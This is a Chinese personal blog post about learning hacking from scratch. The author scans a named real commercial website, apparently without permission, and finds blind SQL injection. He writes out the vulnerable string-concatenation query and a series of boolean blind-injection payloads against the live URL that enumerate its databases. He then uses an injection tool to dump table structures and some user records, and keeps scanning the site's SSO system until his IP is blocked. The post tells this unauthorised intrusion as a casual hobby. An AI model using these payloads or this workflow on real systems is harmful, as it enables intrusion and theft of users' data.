1. 程式人生 > >從零自學黑客技術隨筆

從零自學黑客技術隨筆

只記錄自學過程的點點滴滴。

 

前言

 

一直以來都想學習黑客技術,也就是安全方面的技術,但沒有付諸實踐,也因為是碼農老加班,工作上沒有閒暇時間。作為低端屌絲碼農,沒有收益的事情是不會去做的。況且,磚搬多了,是會喪失對技術對熱情的,休息時間寧願睡覺或者是出去玩。另一方面也是生存壓力大,還不能隨心所欲的追求自己的興趣,凡事優先考慮的是有沒有收益。

最近失業在家,無所事事,重捨興趣,無他,酷就夠了。想到就做,也特意把學習過程寫下來,屌絲所寫,水平太low的話,望一笑置之。

 

摸索

 

門外漢想進門,沒有師傅帶著,那就四處收集資料。網上眾說紛紜,甚至有說直接去看高校網路安全的教學計劃,扯淡。在 

知乎:如何進行系統的黑客學習? 這個問題下有了個第一印象。最重要的是找漏洞,找到漏洞後,進行攻擊。

每一步都有各種各樣都手法,漏洞也是千奇百怪,知道原理之後,可以自己寫程式碼去掃描、去攻擊,也可以找工具去攻擊,當然咱屌絲還沒到自己寫工具的境界。我認為,學習要不斷制定小目標,然後達成得到反饋,這有助於堅持下去,提升興趣。上來就從逆向工程、密碼學開始學起的,那是學霸,咱就彆強學了。所以,找了個網站,把它當成目標,看看我能做什麼。

 

第一個目標

 

知乎那個問題下面,有介紹好些軟體,要搞目標那首先就得看看它有什麼漏洞,嘗試了好幾款軟體之後,用 

Acuntix 掃到了漏洞。Acuntix安裝很簡單,安裝完了就直接對目標一頓掃描,參考 CSDN:Acunetix 11-發起一個掃描 。

直接上掃描結果。

 


 

 


 

有三個 Blind SQL Injection 這樣的漏洞,網上一查得知這叫 SQL盲注 ,點進去看

 


 

大概說  keyword=e%' AND 3*2*1=6 AND '000lEpQ'!='000lEpQ% 通過了,下面還有測試的列表。這是什麼意思呢?通過了解,哦,原來這就是所謂的盲注。

語句可以簡化成 keyword=e' AND 1=1 AND 'a'!='z ,按照這個漏洞推測,後端的碼農寫法大概是這樣:

 

String k = request.getParameter("keyword");
String sql = "select * from t where keyword like '%" + k +"%'";
// query(sql);...... 

 

那這裡就有漏洞了,如果我們提交的引數是 keyword=e' AND 1=1 AND 'a'!='z ,那後端拼接之後的 sql 就成了這樣

 

select * from t where keyword like '%e' AND 1=1 AND 'a'!='z%' 

 

這個sql會被髮到資料庫去執行查詢,但這個有什麼用呢?假設 keyword=e 的時候,返回的資料是 啦啦啦,傳送 keyword=e' AND 1=1 AND 'a'!='z 的時候也是返回 啦啦啦, 並且 傳送 keyword=e' AND 0=1 AND 'a'!='z 的時候返回 空 ,那很明顯,我們可以知道資料庫執行 AND 1=1 這裡的語句結果是true 還是 false,通過這個,我們就可以做一些事情了,這也就是boolean型盲注。至於 AND 'a'!='z 是為了使語句拼湊完整,因為後面跟著 +"%'",讓sql引號閉合。

接下來我們只需在瀏覽器傳送我們的請求即可:

 

https://www.dinghuo123.com/learning/list?keyword=e' AND exists(select * from information_schema.tables) AND 'a'!='z% 

 

具體結果:

 

keyword=e' AND exists(select * from information_schema.tables) AND 'a'!='z%    --true
keyword=e' AND not exists(select * from information_schema.tables) AND 'a'!='z%    --false 

 

嗯,mysql 資料庫。

 

keyword=e' AND (select count(distinct table_schema) from information_schema.tables)>3 AND 'a'!='z%    --true
keyword=e' AND (select count(distinct table_schema) from information_schema.tables)>4 AND 'a'!='z%    --false 

 

嗯,一共4個數據庫。一般知道 mysql 有三個預設資料庫 information_schema, mysql, performance_schema, 很顯然只有一個是使用者的資料庫。

 

keyword=e' AND (select length(a.table_schema) from (select distinct table_schema from information_schema.tables) a limit 0,1) >17 AND 'a'!='z%    --true
keyword=e' AND (select length(a.table_schema) from (select distinct table_schema from information_schema.tables) a limit 0,1) >18 AND 'a'!='z%    --false 

 

嗯,第一個資料庫名稱長度 18個字元。以此類推,第二個長度5,第三個長度18,第四個長度8。分別嘗試預設的三個資料庫,第四個長度8的,就是使用者的資料庫。接下來可以使用字串函式擷取單個字元,比較ascii的大小,採用二分法,確定每一個字元,最終得到資料庫名稱。

 

上工具

 

到此,我都是純手工,在瀏覽器操作,但到這一步,還手工操作,那我這麼些年磚就白搬了,用自己習慣的語言寫個簡單的程式跑,也是很簡單的。但咱是誰,學渣懶癌!能拿來就用的,堅決不自己寫!所以,開始到處找工具,好多工具不會用,不知所云,還有一些就是隻有linux版本。

無奈,用虛擬機器安裝個linux先,之前有接觸過一點點linux,也僅僅是接觸過而已,搜尋得知 kali linux 這個版本預裝了好多工具可以用,果斷搞一個。

 

 

 

嗯,確實裝了很多工具。工具一個一個百度,試用,好像bbqsql很厲害,但不知道為什麼,我的跑不起來,GitHub裡面也有人反饋,但好像沒人解決。 GitHub:bbqsql does not run? 放棄,換另一個,到最後就沒一個能用的。sqlsus感覺能行,最後也是報錯,我感覺配置是沒有問題的,搞不懂,以後搞原始碼研究研究。

 


 

最後,無意中發現一個軟體叫 GitHub:超級SQL注入工具 ,名字略土鱉,C#寫的,一點也不酷。試著用一下,別說,還真好使!

 


 

連表結構都拉出來拉。還獲取了部分user資料:

 


 

密碼不是md5,也不知道是什麼,user表就11條資料,應該不是什麼重要的庫。難怪請求這麼頻繁,也不封ip,危險字元也不過濾。最重要的,估計那個查詢是實習生寫的。

到了這一步,沒法繼續下一步了,就收手了。

然後作死掃描了他們的業務系統 sso.dinghuo123.com,也發現了3個漏洞,同時,也被封IP了,哭。。。

 


 

查了查,好像是跨域方面的漏洞,大概是自己要做個站,使用者訪問了他們的站再訪問我們的站,那我們的js就可以獲取他們站的資料,不知道理解的對不對。如果是這樣的話,那這幾個漏洞就沒啥意義。

到這裡,第一波實操就結束了,不結束也沒辦法,ip都被封了。。

 

一個真實的體會就是,某度真的很爛,很多東西搜不出有用的東西。又花了很多時間架梯子,google真的是碼農必備,結果準確多了。

 

推薦個免費高速的梯子:叮噹加速

 

以上就是初次學習的體會,也算有了個瞭解。

 

下一步,準備先把linux學好,這樣寫東西和用別人寫的東西才方便,或者改別人的程式碼,參與編輯GitHub,所以,又要學學Python。路還很長。